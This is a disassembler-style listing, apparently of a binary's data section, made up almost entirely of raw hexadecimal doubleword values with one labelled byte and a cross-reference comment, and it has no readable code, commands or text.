		dd 0F646DD9h, 2FCBA1F3h, 30497E6h, 29099Dh, 0F173BB90h
		dd 0A0564AB5h, 2EF5FB9Ch, 7D0FBA6Eh, 718107F4h,	2B6A0AA9h
		dd 78C0D3DBh, 4149BD9Eh, 8A5BCA16h, 2DA55827h, 32E220AFh
		dd 0EDB716A7h, 3866E217h, 27B385DDh, 0E4D7CDAAh, 7E8A0B51h
		dd 0D0174000h, 5B008723h, 0EDCEEAE6h, 1EDD43CBh, 82E444C8h
		dd 9C02C26Dh, 22EC4AD7h, 5D90DFA5h, 0B02A3B7h, 40940911h
		dd 94284918h, 213589DAh, 405513EAh, 8024C909h, 0B62DBF66h
		dd 81E260ECh, 105909DFh, 0E3717C6Ch, 9BD98B8Dh,	0F9C7752Bh
		dd 0B5A835h, 6C9A0FDEh,	8E27739Fh, 5181BF01h, 0D1FF429Dh
		dd 16B8577Dh, 78477900h, 0EA02B811h, 299B0442h,	0B419ED85h
		dd 2D4B0185h, 0AE21F68Eh, 0AF181BF9h, 0B19FBA00h, 0AB30DDBBh
		dd 0A0BC3CBFh, 26A3F8Bh, 0B08203B7h, 7EB3E57Bh,	1E1210B7h
		dd 50D2B790h, 0F9E8968Ch, 0FD318810h, 0B81E6B13h, 9590D4A0h
		dd 0FF721EDBh, 0B98DAE8h, 85E38017h, 5350D061h,	0B42CC83Eh
		dd 6F8C4D00h, 0A14E57A5h, 524F01FEh, 76914C68h,	0C45BE964h
		dd 2AF7E95Fh, 3C84DDF3h, 0FE600BA7h, 0B52960C6h, 0B0971519h
		dd 4259D7Ch, 26D266Bh, 9698EF61h, 98FE50BFh, 0BD154AA9h
		dd 8C14BCDEh, 78F3D34Ah, 3ABC4Fh, 5390F8AEh, 660FDAh, 0BE682420h
		dd 8E3E84D9h, 0A99562B0h, 9D80813Eh, 0CC7B1D69h, 33509822h
		dd 44580E2h, 0B129C241h, 0DB4EDD3Ch, 0C0BA9216h, 3115F101h
		dd 5373E018h, 0B52CB97Eh, 0D9A6D3C7h, 4197CD6h,	37917D7h
		dd 5D6EAF57h, 2B001A23h, 6E271392h, 12B25EFDh, 4D4EE79Dh
		dd 1D6ACE0h, 0BF9FFE6h,	7A0759BDh, 1CF39DE3h, 45400887h
		dd 5F64E12h, 140D6779h,	0E25CC03Eh, 912DF496h, 3BB5159h
		dd 4A9ECFDCh, 816C9C02h, 5C7292B8h, 0E7522DACh,	0C5B5FF09h
		dd 63D5D31h, 38A53606h,	1FA920DCh, 248961BDh, 8834F26Ah
		dd 208CA846h, 0B0702219h, 8EF30F7h, 2670E680h, 108B8956h
		dd 0E45F0925h, 844C0271h, 9A9A5EC4h, 2C864D20h,	597C309h
		dd 0DDB8609Dh, 0FB566B84h, 3D8A89DCh, 0BA2D5BC8h, 0A2DD131Ah
		dd 572DB3BAh, 14D91A49h, 0B582C1A9h, 0A05E0385h, 55D33F4Fh
		dd 0C82BE744h, 9E1720BFh, 581ECAACh, 0DAC067AEh, 0E41A4416h
		dd 9341506Ch, 0E31D6255h, 3579D18Bh, 0AC03B300h, 1363F439h
		dd 0C9ED3B20h, 52206AE5h, 3D6A6Ch, 0F765DE6Bh, 41A50910h
		dd 858B0E1Eh, 0B70A2650h, 748E9F1h, 706FAF6Eh, 0BE1C9152h
		dd 0E809257Dh, 78977CCBh, 9D0B08D8h, 12342939h,	8DE401FBh
		dd 2B733697h, 0C4624BA7h, 0E90218D5h, 10518457h, 0C77F444Fh
		dd 400E156Ch, 9B4E315Bh, 0ACF4A404h, 0B2AAF058h, 80B749D7h
		dd 0DADCEB81h, 0C84A4BCAh, 0C1A627CAh, 0EA77F16Fh, 0FE0221A5h
		dd 70D1BD2Bh, 0DF801A78h, 8613A277h, 161D3813h,	1FD92CAFh
		dd 8960EEF9h, 0A313259Ah, 0F3956A29h, 11F96E05h, 0E86175AFh
		dd 0E77C0323h, 2207F8B9h, 140013FDh, 0E474EDE1h, 2A24556h
		dd 0A5D88EB7h, 0E4D5BC6Ah, 960B978Fh, 84C04BEDh, 133E5005h
		dd 0C2D87322h, 0BBD52685h, 0FBC40BC5h, 507BD22Bh, 1D4D3E70h
		dd 89D68D7Eh, 0AB7B7D2Fh, 0D453FC6Bh, 7BB6AC5Fh, 0A5D6E5Fh
		dd 0C860841Eh, 9BDCF102h, 40D55E61h, 50F593BBh,	8630715Ah
		dd 4BB1B352h, 6AD8CD5Bh, 673BF720h, 8CC716EFh, 9195F0E9h
		dd 945B0340h, 0C210859h, 7961F809h, 6A5759C4h, 829BC485h
		dd 0AFC9ADC5h, 5ECA01D2h, 0FC351C5h, 52C019C8h,	0BDE7EACh
		dd 85896E82h, 3256494Ah, 0E1EA5B40h, 9002726Bh,	0D5DA00BEh
		dd 4CFCD986h, 0B3257EE5h, 4B35743Ch, 80213775h,	4F86E3E4h
		dd 761680BFh, 30B258BCh, 0D321E00h, 9F08C831h, 0F3E33F12h
		dd 23666BBAh, 3E86001Ah, 455FDD98h, 31576104h, 0CAC8FD8Dh
		dd 0E6E14CFFh, 4DB1F9C0h, 91F3AC7h, 0F1014C8Fh,	0A853FEDDh
		dd 60CAA502h, 8291CD75h, 1A558531h, 1AF4C7D5h, 0B757274Eh
		dd 44B1310h, 31F057Fh, 0B5F9B509h, 86C6B6F2h, 0F7905DE3h
		dd 30BDB97Eh, 2F0E136h,	0D87ACF98h, 0C6C9605Fh,	0D9652F17h
		dd 0F1A173E6h, 2DE2CF45h, 0FB25D65Eh, 0D579706Ah, 5384A34Eh
		dd 6022CDB9h, 7D82BF91h, 0E0AB9520h, 3B7C6A9h, 44B0EED2h
		dd 82E8D48Ch, 0F95D6A10h, 79302544h, 50D66944h,	1A67ED4h
		dd 97E92DE6h, 2F7FBC4Bh, 0E109DD32h, 50002185h,	0B194F4B7h
		dd 7834FBAFh, 1B202003h, 284D2010h, 49385995h, 63B924D4h
		dd 0C4CFB345h, 52D59787h, 0D3E0CFBEh, 0B4436FB8h, 0DC27E100h
		dd 0A5B2584Eh, 5E297C00h, 3C7D9205h, 0F8EE4C7Eh, 0F2F4E42Dh
		dd 511C6029h
		dd 6789F66Dh, 0B858E55Bh, 168A12ECh, 0BC4A02E3h, 4AE94DEAh
		dd 1BAC42BDh, 0A0F7008Ch, 760E8BD1h, 5601996Bh,	0E95BA7B3h
		dd 0BE2701EBh, 185F22B2h, 2F8529A5h, 0B07E3205h, 0BC5DA6C0h
		dd 0B2A90009h, 4DC0776Ch, 877BFE0h, 7A842509h, 9F26D08Fh
		dd 6F60CE4Fh, 160545CBh, 5F56377h, 0AB335155h, 822FE99Dh
		dd 1C741407h, 0D4EE745Ah, 0F308AC14h, 0ABD302E0h, 7493B33Dh
		dd 0E16E6C07h, 0F1892540h, 5701207Eh, 2200840Dh, 3C239731h
		dd 1EC287A4h, 0A5EC8224h, 0F82DBB7Bh, 1C464D4Ah, 434FFBE8h
		dd 0AAA920F0h, 0D6025789h, 0EB5F0CB2h, 491E2A6Fh, 0E20997DDh
		dd 8A0E3D55h, 10B489F2h, 0A568012Eh, 5309F7FBh,	4BD9B66Bh
		dd 0F85A03C0h, 6F2AFFE8h, 0E9E239FDh, 0B1A4D4C0h, 2E0EF57Ch
		dd 6A4B198Bh, 4C6120B6h, 3C13DE63h, 0CD013050h,	0C2001D1Fh
		dd 98A89D52h, 172A317h,	4B396DE7h, 0E2887CCEh, 24D3766Ah
		dd 2DFD3470h, 0C1C0BDB0h, 319D3FADh, 10788C13h,	5498F88h
		dd 0CF0D917h, 40A09661h, 8A8435BEh, 0C90016F2h,	0B06BDF25h
		dd 1626801Bh, 0F2D551A4h, 0BFC50354h, 0E96EDCC7h, 8F2E5999h
		dd 0A87C5D05h, 0F51716DAh, 0AC5A05EDh, 10F817Fh, 62383A1Eh
		dd 2D418A0Bh, 2928F231h, 5C24E725h, 1480E6B1h, 0E194C4D6h
		dd 0F7830A6Dh, 4EE814Eh, 0DB483DEBh, 82A0C9C1h,	41F6576h
		dd 0A230E8F9h, 9E9132Ah, 16B54F2Eh, 0BEDE0417h,	0B31E9F84h
		dd 85204BCBh, 0E4255604h, 54D60024h, 0C3420220h, 0E6090E7Bh
		dd 0E6601067h, 0CBE6B532h, 810418C8h, 2C5DB866h, 0B32A2F61h
		dd 155DD489h, 0C4AF421Ch, 0B5F3C1DFh, 0C0CDCFC2h, 8C860E5Bh
		dd 549B1E09h, 0E1E417h,	9E79CF6Dh, 36D2EF4Ch, 0F8F03F02h
		dd 74FE8A5Bh, 0EB5BEB97h, 0B00EF650h, 92B80703h, 12B96050h
		dd 8BFFEFC0h, 0BB1477C5h, 0C9E4CD0Fh, 0E1C1E0CBh, 0B5452290h
		dd 4D57D86Ah, 69F4C073h, 4D02AE1Eh, 0E9EAB6Eh, 47EE77D3h
		dd 0E219E12Eh, 0AB26FB23h, 92A29513h, 59B50181h, 4D703B28h
		dd 1305E781h, 0BA2E2D6Fh, 16EA0265h, 1D6FAE85h,	1617604Eh
		dd 174CF8BBh, 4951130Dh, 9BFBA8Ch, 785C929Ah, 37B722D0h
		dd 0CCC1001Ch, 0E1BD2BCAh, 0D7B9285Eh, 0B4AC8395h, 67BF660Ah
		dd 253DA837h, 0DE3C7407h, 0E6001C46h, 0F2BBC015h, 7C27C47Eh
		dd 6F6442DEh, 0A4F6C01Ah, 0D80474A1h, 5680F15Bh, 34D620AEh
		dd 0EC3C4FB8h, 828CA7CCh, 4EFD8A34h, 0F6FA5A19h, 0D92276D9h
		dd 7AD19D19h, 1C1DB30Ah, 4D9D0B40h, 293A9D30h, 71B76F46h
		dd 927A60A3h, 527380Ch,	1C1945CCh, 0B94F3854h, 3D64BC03h
		dd 58002B32h, 8F71D240h, 4C2EF780h, 8D08AE96h, 3D85AF02h
		dd 35E98C50h, 53D02700h, 9FCBB91Ah, 408FB696h, 2D9145CFh
		dd 2D99DA26h, 4D16F500h, 9711A4E6h, 0D7163C4Eh,	6FBD34C7h
		dd 8C1BACh, 5B8A8E19h, 0A7B1F39Bh, 2B0DBB05h, 6BAF7270h
		dd 1D23D4h, 0E0E1B1C5h,	53000B03h, 0BB652E27h, 4EC88ACAh
		dd 20008D0Dh, 5116AD0Eh, 18C41142h, 5EA203BCh, 0B58A9ED7h
		dd 0C6594373h, 63B75DC2h, 0A1710C80h, 9685F53Fh, 24B940B0h
		dd 0A70068F3h, 86042BDAh, 72F5B82Ah, 72D81288h,	92CAF61Eh
		dd 0C4A884FDh, 15210900h, 0E9F59CE1h, 0BA899714h, 1B3F2700h
		dd 499BC18Bh, 16319278h, 0F219A1BDh, 0AE8C4BF8h, 0B19D2433h
		dd 0C86097E1h, 800D0F7h, 0F86DD4B7h, 2F9187C9h,	17D19A7Fh
		dd 4554AFh, 610E3136h, 0BF045190h, 2856B4FEh, 0DC1CD1ABh
		dd 0E05EF62Eh, 62F99DDCh, 35092A26h, 0B3111829h, 7A5F4F46h
		dd 0DAD80176h, 0D98B0BE6h, 0B6E58741h, 0C702D978h, 7CF23FF8h
		dd 652C7F5Eh, 5B922FDEh, 0A7EFAD90h, 14127B01h,	0F82E50D5h
		dd 7349D170h, 71B80B90h, 680A5418h, 6F211C92h, 0ABD80205h
		dd 0A1F71280h, 0DADDA16Eh, 0E80A8EB7h, 0A5021C24h, 556C3717h
		dd 9D844671h, 8002131Dh, 6D5E45D7h, 5260726Ah, 1F50FAFEh
		dd 0C327B65Dh, 693FE52Fh, 0F44354B0h, 7A053D2Dh, 1381216Ch
		dd 135D31E4h, 324F968Dh, 31072520h, 7910026Ah, 7D50021Ch
		dd 0B7259146h, 80E78147h, 0F285A4CBh, 990DF8C3h, 0F9F4842Eh
		dd 0B3B8C2E9h, 4B6EFE1h, 0ADB8DDEDh, 65DBE24Bh,	85596382h
		dd 1E89847Ch, 9577D088h, 1759885Bh, 0F271E718h,	27062F4Ah
		dd 0B0A9088h, 53507509h, 0DA055D5Bh, 0C8A9905Fh, 1000EDB8h
		dd 0DB116D8Fh, 9D952B60h, 6495885Ah, 0EDBD007Ah, 0DF6B3C38h
		dd 0D42D9E51h, 4054F47Ah, 6159D3B1h, 95C21497h,	5B0047B5h
		dd 0B9B18D1Bh, 75F70530h, 84BBFCh, 858937B5h, 0E7952381h
		dd 0D6302429h, 9C878E00h, 0FE8A5C07h, 119D2D03h, 5452F95Ch
		dd 0A76A1EDCh, 0DC38DCh, 0BFBB6B48h, 0ABB2AE3Dh, 0B4A7F92h
		dd 1D013BE7h, 0AEA3B3D4h, 220B6A38h, 50564431h,	4BF9FFFAh
		dd 53819833h, 71BD2988h, 74B48421h, 0E6170B10h,	9EBEC870h
		dd 0B2B66E03h, 0E19B9283h, 0BDE043CEh, 76751891h, 33E13A60h
		dd 79E45B80h, 92DF4B71h, 0B5101B93h, 4F1F438Dh,	83EED804h
		dd 0B5C284B8h, 7E0922D1h, 758C40D9h, 2402CE03h,	0F927B90Eh
		dd 0F570C25Bh, 82B78510h, 9A328D00h, 271CA8B1h,	0B8ED4A11h
		dd 59ABD7EFh, 0D1F376BDh, 0B733AFh, 394E7FA5h, 0B12D436h
		dd 415ECDE7h, 0E2F74582h, 710F71C6h, 24DCB85Bh,	6CC093A0h
		dd 5B60559Ch, 81B7BC31h, 2D619D09h, 2B160CBAh, 0DDD8E8C8h
		dd 0FD42D192h, 0FEE92A96h, 0ED609750h, 116D7166h, 81090E3Dh
		dd 4AE4EB30h, 136AF2CEh, 34AF1E8Dh, 0B25200EAh,	38C9F333h
		dd 8F9FD802h, 5C6AF582h, 842B99Ch, 910B1D8Dh, 5D512449h
		dd 0B2FF5F1Ch, 5CF503FFh, 59354480h, 4A3E0DF0h,	1616A5F9h
		dd 3ECB88FEh, 5BF61000h, 5773CF67h, 634B00BCh, 41F5E369h
		dd 140AEFFEh, 729589D0h, 5ACF8184h, 56C48EB9h, 0D1E6EB36h
		dd 206400F7h, 50095DB2h, 0DC7281E6h, 0B302F45Fh, 55F49B7Eh
		dd 9553506Fh, 0FEC8C7B3h, 0F4B92B9h, 3A088B7h, 0FC2599A1h
		dd 0D3CDC28Ch, 8B577097h, 0F59A1295h, 63E4C06Dh, 0E0E222C0h
		dd 0FEC72C80h, 8CFC2F22h, 83E550h, 0C2FE6AAFh, 208CF035h
		dd 2B74CA02h, 56BB048Eh, 93D949CBh, 1D0E0938h, 7798DFFBh
		dd 1800A43Fh, 220FD621h, 0B3D22B5Bh, 91BE780Ah,	0FA68F001h
		dd 8074699Ah, 0BDEFA021h, 232B7FAFh, 76803819h,	3FAADE96h
		dd 7925BD33h, 0C1375508h, 2F96F980h, 1203B236h,	9A08DDh
		dd 0AD542B88h, 1209BB5Eh, 7922A866h, 85DC2D2Dh,	13F6BBD6h
		dd 0F1A23072h, 8F016D35h, 0DB81E1E0h, 74AC7FD9h, 955E2717h
		dd 2B55F52h, 884E0C01h,	0F3302864h, 0A21A4B19h,	0A183F422h
		dd 0CEABEDA5h, 67643077h, 1C1B8FBFh, 2CB85AA7h,	16615097h
		dd 75EE1109h, 0A3DC739Dh, 2DE458FDh, 3C1C6F00h,	0F14FBFEFh
		dd 0FF5A13F3h, 12D6FE1h, 910CC1A0h, 282E03B6h, 768AD3DFh
		dd 6539DCFFh, 0F78A4BF9h, 0AF028A7Dh, 0D55C14D5h, 279F7A71h
		dd 2BDA6F89h, 0CADB605Fh, 0F41E8F81h, 4BED636Eh, 0B462AF0h
		dd 2B69DB71h, 1C5E2018h, 78311D00h, 0FDC8ECCBh,	50C1007Ch
		dd 399FB2FAh, 6025F7B5h, 0ED08E25Fh, 245DCBC6h,	73E16088h
		dd 66D44C45h, 0C33C50FCh, 17E2EAA5h, 4D7F9075h,	1C6D16B0h
		dd 128088BAh, 8EA4E502h, 55B5B76Fh, 0FD7012E4h,	54F06282h
		dd 65296728h, 0EAF6958Dh, 0F6D2B0DAh, 0F2490024h, 0E3ADBED4h
		dd 9DC8CD19h, 12AB2C51h, 9AC03818h, 170C98BFh, 0BA6A1440h
		dd 0FE00266Fh, 94C55664h
		dd 0D009980h, 38756886h, 0DF5707D9h, 2F712570h,	0C63B8A05h
		dd 0E59D5BC1h, 0FD5BF778h, 607BAD8Ch, 1633E7E5h, 1023A32Dh
		dd 27302AEh, 656B5238h,	0EED5F8F2h, 8C1201Ch, 2A3E91Ch
		dd 9BB75527h, 0D88B7F04h, 5D538DD2h, 6EEB598h, 0AB183E13h
		dd 4B6110A0h, 71AA8D5Bh, 0ACA35496h, 1AAD4E88h,	0B70314ECh
		dd 4F72BB40h, 468A92A6h, 41610148h, 7B4BB4B2h, 0B2242E36h
		dd 8E6FAEh, 3788A776h, 0EC69BF87h, 277BB505h, 27A8535Ah
		dd 0D64CAB7Fh, 598DC176h, 0FAF62F0Ch, 691C6A00h, 881487D6h
		dd 3CBAFA09h, 0D4A42989h, 805EAF27h, 0DCC0055h,	0B7910F1Bh
		dd 15128DE2h, 86C85360h, 38F7009Dh, 0EED62EC6h,	0AF03936Ch
		dd 54B2A13Ah, 5A58E8ACh, 9212B753h, 606920D5h, 0C0308Ch
		dd 38AC60Ch, 0B0FBB735h, 583F8B1Ch, 2DF16152h, 3EB80669h
		dd 48616B04h, 0AECCDF89h, 0D6C0150h, 0D72E09BBh, 7F10F65Fh
		dd 313E0051h, 103329DBh, 0D777CA15h, 0E07A4702h, 0C20AF522h
		dd 0DFF275C6h, 0BFA2C09Fh, 0D4DBF8D3h, 290EED90h, 0F2721D8Dh
		dd 609AD357h, 5D803880h, 0DD5068E6h, 0A4A6E1C7h, 6071FE9Dh
		dd 3BCC4092h, 85E3F901h, 0A18C1FB6h, 2CB1202Eh,	0B4F62E01h
		dd 0C7334600h, 0EA8A67B0h, 0B379059Ah, 0BB5F2DB6h, 0C1229901h
		dd 882E1ECCh, 917E5126h, 9BB0EB0Fh, 0C411C0F6h,	96A69A49h
		dd 65CD258Eh, 7601864h,	210990F6h, 7D9D295Eh, 0E9CADB43h
		dd 0D9E64280h, 677B661Ch, 0D6868816h, 4A96E1E0h, 6A22EB50h
		dd 0C0127757h, 79A1E85Fh, 2BB902BAh, 905B5F1Dh,	46E0D5CDh
		dd 4D61A8BCh, 0B093D5FCh, 0E1C5C5h, 0E661F78Bh,	97F8E6F9h
		dd 0B0D4D96h, 2F1581BDh, 0F37AFDD9h, 1347CE49h,	0F300A0E6h
		dd 0B9A1232Ah, 5E4FFC0h, 0BB5A8400h, 187931ACh,	33C92FDCh
		dd 0F3957970h, 4FCCD07Ch, 84CBD01Ch, 0B928D6C0h, 41018D31h
		dd 90CE2B27h, 0A00B76E9h, 8A1D210h, 1B15B531h, 0A6DABB01h
		dd 602D4829h, 0EC39FEB8h, 520A028Dh, 6C461415h,	10F0B4EBh
		dd 0ADF84A26h, 7DBD23C1h, 0CA8E2E02h, 7A4ACA3Ah, 5C9D097Dh
		dd 6B371612h, 6BED579Fh, 9EFAA4C0h, 545A0E0Fh, 0CC2965B4h
		dd 90374E55h, 0DAB22522h, 9D889857h, 0BC1C4AF1h, 0CEBEA408h
		dd 3AE3D243h, 6D952909h, 500F27F2h, 4ECD93BBh, 0BF1CF22Fh
		dd 0EEB82D52h, 0AEF405AEh, 0B7CC53CBh, 325C01BDh, 0DD0B1593h
		dd 0BCC17BC0h, 70581AE1h, 8C0F2CF8h, 0EE26E4F0h, 0B94A588Bh
		dd 5A75A8B4h, 2188F042h, 0E521BB97h, 4D224BBCh,	0D7259896h
		dd 0A9003F3Dh, 702AFCBh, 8EDE00D2h, 0EBBB6641h,	28B6604Fh
		dd 49183C40h, 0AEBF0096h, 0E2844D1Ch, 894FAC67h, 618D49BEh
		dd 3094278h, 7B0C65BDh,	181A5124h, 0DF0B049Fh, 0BE348A31h
		dd 891F80C1h, 1391FE89h, 19792A7Bh, 601C5118h, 0E2FEF580h
		dd 27E2662h, 45D72845h,	0D4ADAE4Dh, 5A51F433h, 5B5FEADAh
		dd 8351D051h, 16FCFB12h, 0A0440700h, 97959D33h,	0FB2F7545h
		dd 39EDA50Ah, 9D962740h, 0B320984h, 47048DE0h, 76B25D59h
		dd 1080A27h, 37D0FD77h,	0CD7DDE50h, 87C1C063h, 0AB0243D9h
		dd 0E947A0DDh, 0DF65F7A9h, 0C3ED2E93h, 0BF047CE8h, 3976AFFFh
		dd 8A4B4FA8h, 0BD2122A0h, 997F3B42h, 0EC3E5689h, 0DB95B54Ch
		dd 0D94A1DC5h, 252C704h, 0D717ED98h, 1212ECBAh,	96552B62h
		dd 4520EBC8h, 5C1EA224h, 0FD70A52Eh, 2EA3214Bh,	1D766089h
		dd 2EC725F6h, 5CE4327Fh, 0B47BE94Fh, 383E3350h,	0B78BD523h
		dd 92059F9Bh, 0C6974D3Dh, 85893AEDh, 5EDED102h,	40FB7A2Dh
		dd 0F2E13A50h, 0E8205F23h, 0D375F68h, 0A5E87769h, 0D09D8AE9h
		dd 0B70F7514h, 27893E18h, 23812FD2h, 0BC3B1661h, 0F9A205h
		dd 7FE14AD0h, 29BD2988h, 329F32B9h, 889C572h, 8788CF3h
		dd 0D0F8036Eh, 2A115ABAh, 215D9610h, 16C71382h,	48D38100h
		dd 0E60C9723h, 2C402128h, 4060BC50h, 0D9F132DAh, 84853Bh
		dd 3A784AEAh, 9F04E44h,	5B454D8Fh, 40D36FF5h, 580D03E2h
		dd 9A6A2B2Dh, 11D95763h, 7D0B1A32h, 5B779AE2h, 2612259Bh
		dd 0FED3E8DDh, 748013Fh, 0F733F638h, 8A76B7Eh, 0EB322D12h
		dd 0D892178Fh, 4B050F44h, 699C11D4h, 59A79D1Eh,	258D1C94h
		dd 581307E7h, 3CECE3F9h, 8B47410Bh, 6AC9E0DAh, 0F5BF0002h
		dd 5075BB6Fh, 0C5AA7EB7h, 1171A5F3h, 2432F72Bh,	49448029h
		dd 1DE12EBCh, 19880FC7h, 81090C0h, 0A6C0977h, 8A64FCB7h
		dd 2E6BED00h, 33D047E1h, 78B400A9h, 19A60174h, 4C392C09h
		dd 25DDCBB5h, 0F8C0975Ah, 0B794E22Bh, 788DC012h, 89800CACh
		dd 0CD1B9B43h, 90214A0Eh, 0D80356E2h, 0C5509888h, 0BFE0C4B6h
		dd 874CBCB3h, 71F84FC8h, 910E6D2h, 42D58D89h, 0E16DF59Fh
		dd 7CFBC9h, 796EEBA7h, 4B01532Fh, 312D9EE8h, 5F35918Dh
		dd 1078D684h, 0D7EFB86Ch, 90EED624h, 335ACC02h,	59251B0Eh
		dd 0FCBCC2E7h, 84425541h, 0B5A292C0h, 0FF6A3B16h, 1020ADF8h
		dd 2D79ECEFh, 0D0125397h, 6A1208CDh, 7D0B6041h,	0E17404C8h
		dd 9761A6A0h, 58DCFB33h, 82213D82h, 0F14C055h, 815FB681h
		dd 1F2EBDB9h, 69B64119h, 0E64D8B1Bh, 1047F670h,	17EC5A28h
		dd 0C871E413h, 0BD0073D1h, 1E6F7F8Ch, 2EFAD4h, 0CBA4D002h
		dd 0A5A7C958h, 0B4E81F5Fh, 0E60D934Bh, 0F84B3B7Bh, 279E09C6h
		dd 0B85C10EDh, 42F84C9h, 89BB6641h, 0C6F46B1Fh,	2B254179h
		dd 1E16EE13h, 1054EBDh,	0AF0C35B5h, 2E0F3332h, 0C53784BEh
		dd 14D780BBh, 8B048A5Eh, 8F72FB69h, 0D126DAB8h,	3E2390FEh
		dd 538C4BE9h, 225E96DFh, 0B1D3E1ABh, 0C86B3399h, 1591523Ch
		dd 610E3C80h, 594A55h, 0AFFAB7FEh, 84685A7Bh, 1B1B1F7Bh
		dd 85385FF2h, 0C63D36B2h, 62EE7400h, 6C6722EAh,	9282DA01h
		dd 366DD224h, 0EF190B70h, 0F15C5F02h, 0BA4F0B91h, 34ABBF50h
		dd 0EDAC9DF5h, 3F29AED7h, 3268C23Bh, 1053EC5Ch,	682A0D1Ah
		dd 0FE2D7C50h, 0D86C2544h, 9F45E820h, 537D6C92h, 96742752h
		dd 602A2780h, 2609ACB0h, 89B2A58Dh, 0B7556A61h,	68668BB7h
		dd 843ECF02h, 0FD81895Dh, 1844526Dh, 0FC4FB498h, 7CED39B9h
		dd 210F9C97h, 41B75C0h,	0A04FD4ACh, 0BC832D34h,	46E45480h
		dd 845F99B8h, 0BA26559Dh, 0EDE552E3h, 18BB80AFh, 2EC8927Eh
		dd 28FC83D3h, 26AD2783h, 5DAC95Ch, 396BD8D3h, 426A631Ch
		dd 7CE3BAABh, 893B8A54h, 12B509C2h, 0E6CFD509h,	60E11FE2h
		dd 9B8F689h, 2AE0D31h, 9E49645Dh, 76DE6B18h, 23806725h
		dd 583958EEh, 90A4B702h, 52852952h, 0CC6C9555h,	59952FB0h
		dd 0DEFB7AACh, 1FDE7D50h, 1294C747h, 0D140454h,	9B71028h
		dd 60487DEFh, 0BBF51C3h, 46AE4EC2h, 60C99657h, 1DBB5967h
		dd 662555B5h, 0F148F3B8h, 45F46A79h, 0FF485440h, 0CA4E4C87h
		dd 534F1722h, 3D0FC88h,	733332BCh, 25A00CFBh, 9B055921h
		dd 5BDFF329h, 0EBBDAC0Eh, 0ECA95E04h, 80CDB5Ch,	26E1FF85h
		dd 0B82F4AEDh, 49AE1B3h, 9DF7A6Bh, 5C096CCCh, 950104A7h
		dd 3A6CE141h, 0FA257CA7h, 78119AC5h, 659D2B04h,	5E2F3C10h
		dd 0A0C9F704h, 517A79Bh, 0F779E638h, 12E9A874h,	4AB4048h
		dd 0AB21413Ah, 1488C39Ah, 0AAC3AC5h, 0F66DC54Ah, 5523E0DFh
		dd 5DAA2584h, 65A876C9h, 0C0845B0Ch, 3DE3B157h,	0D6F32FEAh
		dd 0B92044D0h, 0B58B091Bh, 0CD711709h, 0C51AF705h, 0D7149AABh
		dd 0FAB9B760h, 5AD32551h, 0B3802A51h, 0E1C5E5FDh, 8EE40F2Ch
		dd 0DF000FAFh, 0DEE88B2Bh
		dd 0F822442Dh, 0B5AD98A5h, 0FC7AF873h, 0BE90C421h, 0C27A0A8Dh
		dd 0A00F08ACh, 9EF698BBh, 11A6C831h, 1D2B080h, 0E3EC94h
		dd 2D4CC4CEh, 0AE84C9A7h, 51ACDB16h, 2DC708E0h,	0B47B0B4Bh
		dd 0AA979FD1h, 752DAFD6h, 56F39542h, 0FD492Eh, 5318563Fh
		dd 22110082h, 0A73ECFFCh, 0C7094B40h, 5F59B4D8h, 6178BE46h
		dd 48BFE3B7h, 9576B87Fh, 4F403874h, 127B9926h, 0A192881Ch
		dd 56A708C5h, 20870F25h, 0B04EBB62h, 5B7601F0h,	30BF6658h
		dd 38752F68h, 1612146Bh, 5045F9B5h, 5A9D854Dh, 6D4F95E4h
		dd 0ACD0FDE4h, 5AE9F7F0h, 85D090D5h, 7B951AB1h,	62B6A466h
		dd 447B3CF9h, 8EA5745h,	5F1C2666h, 0B738E465h, 0C478265Bh
		dd 0D4AE0067h, 0ECE8D98Ah, 8B979DD7h, 16BD7D2Dh, 0DF91E780h
		dd 17693A27h, 0A9C42FD4h, 1809C472h, 0BE4CBF00h, 9597666Ch
		dd 0CBD44B3Eh, 1A668449h, 0B8D7AF50h, 9896A3FDh, 0A851FC2Ch
		dd 3255CBD9h, 1DA25B17h, 7B894E69h, 9E26496Fh, 0FC81C966h
		dd 0AD912841h, 101A78C8h, 0F327DBDh, 6362BB96h,	0B0502048h
		dd 0FF2D64B4h, 565BC2F2h, 27026BC5h, 1E5D1285h,	20525ACDh
		dd 0EEBABC15h, 3F848800h, 0FD39173Eh, 0D622423h, 0F1102DD5h
		dd 0F8003FEEh, 4B3878Bh, 2C867CEh, 8179B86Eh, 0EA427A03h
		dd 4AF3C67Fh, 8D62EB4Dh, 0ED4651h, 2F17C4A7h, 5B3476E1h
		dd 55A95F51h, 0B112AAEDh, 0F7D83322h, 51F27C64h, 13BA5B03h
		dd 0EC164569h, 0CD1013FCh, 0DE4B761Fh, 7734D58Dh, 17A7E650h
		dd 0EF370DDDh, 23611621h, 0A84A753Bh, 57AF80A8h, 1CF3CC98h
		dd 5D50490h, 0C529ECC1h, 4EF3A9B0h, 7DC4B9E9h, 0B588B867h
		dd 0D91757B7h, 4C79AF23h, 21E9F98Ah, 0DB622D1Bh, 0CB774F56h
		dd 1D4A7DCh, 0C96EBB0Ch, 6A65DB6Dh, 31C12AC1h, 5613382Eh
		db 4Bh,	4, 0EDh
byte_544547	db 94h			; DATA XREF: ___:off_445258o
		dd 0E10462E8h, 1DF1BD0Bh, 1B996C18h, 2089CDA7h,	0D0D9DB04h
		dd 0E80031ADh, 2CDE40F4h, 0AA57993Bh, 331D5F2h,	179DD801h
		dd 7B1B4EB7h, 0B8214A31h, 60F8A47Eh, 880DCD4Ah,	121A6942h
		dd 0C34B0596h, 9B30BB75h, 427254h, 8AC75DD3h, 1649984Ah
		dd 1DF6948h, 0CA5EBF52h, 0FF203B65h, 0FCBB1266h, 0AEEE12A6h
		dd 9202307Ah, 0C2979A10h, 29E457h, 6BA8B6B4h, 0E887DA5Bh
		dd 0BA1AFA03h, 0B837D3DCh, 25E28CCAh, 134C4EDFh, 2EBDFE4Ah
		dd 0A8F7FDD2h, 0E63F167Ch, 249BF8C6h, 0A9203396h, 607F6F97h
		dd 19DCC8C5h, 0FEAFB713h, 71B34312h, 0E411875Bh, 0DD53B8CDh
		dd 7505B589h, 0FBB61ACEh, 3A93A74Eh, 0E2ED73C2h, 0CF5B7F76h
		dd 989E6D80h, 707C13Dh,	0A6960EEBh, 0E9AF91D0h,	835B0001h
		dd 6B7EB5C2h, 12CDF8DCh, 0BC20A38Dh, 0E972808Ch, 119BDEEh
		dd 0E73B22F6h, 7F315B1Ch, 0C04ABFB2h, 29F86068h, 49507E97h
		dd 1D59455Bh, 0C5009C18h, 8161C232h, 4A8EE85Bh,	2405FFEBh
